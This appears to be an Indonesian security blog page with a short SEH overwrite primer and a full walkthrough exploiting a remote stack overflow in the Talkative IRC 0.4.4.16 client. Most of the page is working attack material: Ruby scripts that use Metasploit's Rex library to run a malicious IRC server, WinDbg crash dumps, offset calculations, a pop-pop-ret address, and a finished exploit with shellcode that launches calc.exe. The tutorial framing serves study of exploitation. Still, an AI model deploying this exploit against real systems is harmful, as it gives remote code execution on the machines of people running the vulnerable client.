Posts Tagged ‘seh overwrite’

SEH Overwrite for n00b

Sunday, January 31st, 2010

Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey…what’s the correlation??), then let’s talk about this.

Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack.

Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite.

(more…)

Talkative IRC 0.4.4.16 Remote Stack Overflow

Thursday, January 21st, 2010

Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini.

Dari milw0rm, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini:

#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".\r\n"
chld.put(crash)
sock.close

Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi:

(36c.4f4): Unknown exception - code 0eedfade (first chance)
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll
(36c.7cc): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:41414131=????????

Kita bisa lihat bahwa crash terjadi di lokasi 0×004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash,

mov eax, dword ptr [eax-10h] ds:0023:41414131=????????

Pada posisi tersebut, nilai eax berisi karakter yang kita kirimkan (0×41414141) dan dalam operasi tersebut nilai dari pointer yang ditunjuk oleh [eax-10h] akan di masukan kedalam register eax. Namun karena nilai eax telah dimodifikasi melalui inputan server maka operasi tersebut menunjuk lokasi yang tidak valid (0×41414131) dan mengakibatkan suatu “access violation”.

SEH overwrite

Ketika exception tersebut terjadi maka sistem operasi akan menjalankan procedure SEH (Structure Exception Handler), yang secara default akan men-terminate aplikasi. Kita akan mencari tahu apakah inputan server sebelumnya juga dapat meng-overwrite SEH,

0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41414141
Invalid exception stack at 41414141

terlihat dengan jelas bahwa struktur SEH pun ikut termodifikasi. Dengan kata lain, exploitasi dapat dilakukan dengan memanfaatkan tehnik SEH overwrite (dengan catatan DEP disabled dan aplikasi tidak di-compile menggunakan SafeSEH).

Walaupun dari exploit tersebut kita sudah mengetahui posisi offset berapa untuk overwrite SEH record serta Next SEH record, namun ada baiknya kita melakukan cross-check ulang sebagai bahan pembelajaran dengan asumsi hanya mengetahui advisories dari bug tersebut. Ada beberapa tools yang dapat digunakan, untuk saat ini kita akan menggunakan bantuan metasploit dan byakugan.

Pada code talkative_crash.rb diatas, ganti pattern untuk trigger crash yang semula 500 bytes karakter “A” dengan pattern metasploit.

crash = “:” + Rex::Text.pattern_create(500) + ” PRIVMSG ” + “J” * 4 + ” : /FINGER ” + “K” * 8 + “.\r\n”

Jalankan kembali talkative untuk connect ke server talkative_crash.rb, sesaat setelah crash maka kita akan analisis kembali menggunakan windbg.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf msfpattern crash 500 500
[J] Creating buffer crash.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
	Buf: crash	Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1
An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

0:000> !jutsu hunt
[J] Controlling eax with crash at offset 268.
[J] Found buffer crash @ 0x0012cf67
[J] Found buffer crash @ 0x001856ec - Victim of Unicode Conversion!
0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41326a41
Invalid exception stack at 316a4130

Dengan menggunakan byakugan, kita dapat membuat buffer yang memuat metasploit pattern seperti yang di generate oleh talkative_crash.rb. Kemudian dengan “!jutsu hunt” kita dapat mencari pada offset ke berapa dari buffer tersebut yang telah mengisi nilai general register / mengontrol nilai general register. Dalam classic stack-overflow biasanya ini digunakan untuk menentukan offset pengontrol EIP, namun sayangnya untuk SEH based exploit seperti contoh ini byakugan belum dapat menganalisis secara otomatis pattern yang telah mengoverwrite SEH record. Untuk itu kita lakukan secara manual.

Finding the offset

Next SEH record di-overwrite oleh karakter 0×41326a41, dan SEH record di-overwrite oleh karakter 0×316a4130. Dengan memahami bahwa arsitektur x86 adalah little endian, maka kita bisa mendapatkan string pattern dengan memanfaatkan bantuan dari tools semacam ini.

Hex: 30416a31, Ascii: 0Aj1

Hex: 416a3241, Ascii: Aj2A

Selanjutnya dengan bantuan “pattern_offset.rb” kita dapat menentukan pada offset keberapakah SEH record serta Next SEH record tersebut di-overwrite,

Snow:tools$ ./pattern_offset.rb 0Aj1 500
272
Snow:tools$ ./pattern_offset.rb Aj2A 500
276

Kesimpulan akhir didapat bahwa SEH record di-overwrite oleh karakter pada offset 272 sedangkan Next SEH record di-overwrite oleh karakter pada offset 276. Sebagaimana karakteristik SEH based exploit, kita akan mencari lokasi memory yang memuat opcode “pop pop ret”. Talkative tidak di-compile menggunakan /SafeSEH, sehingga binary dari Talkative itu sendiri dapat digunakan sebagai trampoline untuk opcode “pop pop ret”. Selain menggunakan binary dari aplikasi seperti talkative ini kita juga dapat menggunakan loadable module dari windows, namun berhubung tiap versi windows berbeda-beda dan setiap service pack akan mengakibatkan struktur yang berbeda pula maka akan jauh lebih baik menggunakan library yang di-load oleh aplikasi atau bahkan binary dari aplikasi itu sendiri.

Pop, pop, ret

Dalam hal talkative, pertama-tama kita akan mencari dari binary software itu sendiri. Immunity debugger memiliki beberapa feature untuk mendeteksi /SafeSEH maupun mencari opcode “pop pop ret” secara otomatis yang bebas dari /SafeSEH, diantara pyCommand yang dapat digunakan adalah pvefindaddr buatan Peter Van Echoutte. Berikut ini contoh penggunaannya,

“!pvefindaddr p” akan mencari opcode “pop pop ret” dari module-module yang di-load oleh aplikasi talkative namun tidak di-compile menggunakan /SafeSEH (SEH protection). Sayangnya opcode “pop pop ret” dari binary “talkative irc.exe” berada di lokasi memory yang terdapat karakter “00″, exploitasi akan memasukan lokasi memory tersebut sebagai string yang akibatnya dikenal sebagai “akhir dari string” sehingga tidak bisa digunakan. Untuk itu kita akan memilih lokasi memory lain, sebagai contoh:

pop esi
pop ebx
ret 04 at 0×72d1146b [msacm32.drv] Access: (PAGE_EXECUTE_READ)

Sehingga code dari talkative_crash.rb menjadi seperti berikut:

#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + Rex::Text.pattern_create(272) + "\xcc\xcc\xcc\xcc" + [0x72d1146b].pack('V') + " PRIVMSG " + "B" * 4 + " : /FINGER " + "C" * 8 + ".\r\n"
chld.put(crash)
sock.close

Setelah talkative_irc.exe crash maka akan diambil alih oleh SEH record, SEH record di tunjuk oleh Next SEH record yang berada di lokasi 0×72d1146b.

0:000> u 0×72d1146b
msacm32!wodMessage+0×241:
72d1146b 5f pop edi
72d1146c 5d pop ebp
72d1146d c21400 ret 14h

akibat dari “pop, pop, ret” eksekusi akan dibawa menuju lokasi SEH record yang dari code diatas diisi oleh “\xcc\xcc\xcc\xcc” (INT 3). Apabila dijalankan maka akan menghasilkan

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000008 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> g
(c4.100): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=72d1146b edx=7c9032bc esi=00000000 edi=7c9032a8
eip=0012f1d0 esp=0012ecdc ebp=0012eda4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012f1d0 cc              int     3

Kita akan mencari lokasi shellcode. Pada code talkative_crash sebelumnya kita bisa memasukan sebanyak 500 byte (karakter) untuk membuat crash, 272 byte sudah dipakai sebagai junk awal, 4 byte berikutnya dipakai untuk overwrite SEH record, 4 byte berikutnya dipakai untuk overwrite Next SEH record. Yang berarti byte setelahnya bisa digunakan untuk shellcode. Untuk itu kita akan coba ubah isi variable crash menjadi seperti berikut,

crash = “:” + Rex::Text.pattern_create(272) + “\xcc\xcc\xcc\xcc” + [0x72d1146b].pack(’V') + “A” * 500 + ” PRIVMSG ” + “B” * 4 + ” : /FINGER ” + “C” * 8 + “.\r\n”

Setelah SEH record dieksekusi, kita akan melihat deretan karakter “A” berada disekitar register EIP,

0:000> d eip
0012f1d0  cccccccc 72d1146b 41414141 41414141
0012f1e0  41414141 41414141 41414141 41414141
0012f1f0  41414141 41414141 41414141 41414141
0012f200  41414141 41414141 41414141 41414141
0012f210  41414141 41414141 41414141 41414141
0012f220  41414141 41414141 41414141 41414141
0012f230  41414141 41414141 41414141 41414141
0012f240  41414141 41414141 41414141 41414141
0:000> d
0012f250  41414141 41414141 41414141 41414141
0012f260  41414141 41414141 41414141 41414141
0012f270  41414141 41414141 41414141 41414141
0012f280  41414141 41414141 41414141 41414141
0012f290  41414141 41414141 41414141 41414141
0012f2a0  41414141 41414141 41414141 41414141
0012f2b0  41414141 41414141 41414141 41414141
0012f2c0  41414141 41414141 41414141 41414141
0:000> d
0012f2d0  41414141 41414141 41414141 41414141
0012f2e0  41414141 41414141 41414141 41414141
0012f2f0  41414141 41414141 41414141 41414141
0012f300  41414141 41414141 41414141 41414141
0012f310  41414141 41414141 41414141 41414141
0012f320  41414141 41414141 41414141 41414141
0012f330  41414141 41414141 41414141 41414141
0012f340  41414141 41414141 41414141 41414141

Ini adalah tipikal SEH based exploitation. Dengan cukup memasukan opcode “jump short” beberapa byte kedepan saat overwrite SEH record maka shellcode dapat dieksekusi (shellcode menggantikan posisi “A” * 500). Kita bisa menggunakan jump short 6 byte kedepan, namun untuk membuat exploit lebih reliable maka biasanya diletakan NOP sled sebelum shellcode. Pada exploit kita akan meletakan 20 NOP sled sebelum akhirnya shellcode yang sebenarnya. Berikut ini talkative_spl0it.rb,

#!/usr/bin/env ruby

msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# define server parameter
server_param = { 'LocalPort' => '6667' }
# create the server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# exec= calc.exe
shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"+
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"+
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"+
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"+
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"+
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"+
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"+
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"+
"\x4e\x36\x43\x46\x42\x50\x5a"

# SEH Based Exploit
spl0it = ":" + Rex::Text.pattern_create(272) + Rex::Arch::X86.jmp_short(6) + "\x90\x90" + [0x72d1146b].pack('V') + "\x90" * 20 + shellcode + "\x90" * 10 + " PRIVMSG " + "A" * 4 + " : /FINGER " + "B" * 8 + ".\r\n"
chld.put(spl0it)
sock.close

Dan inilah hasilnya,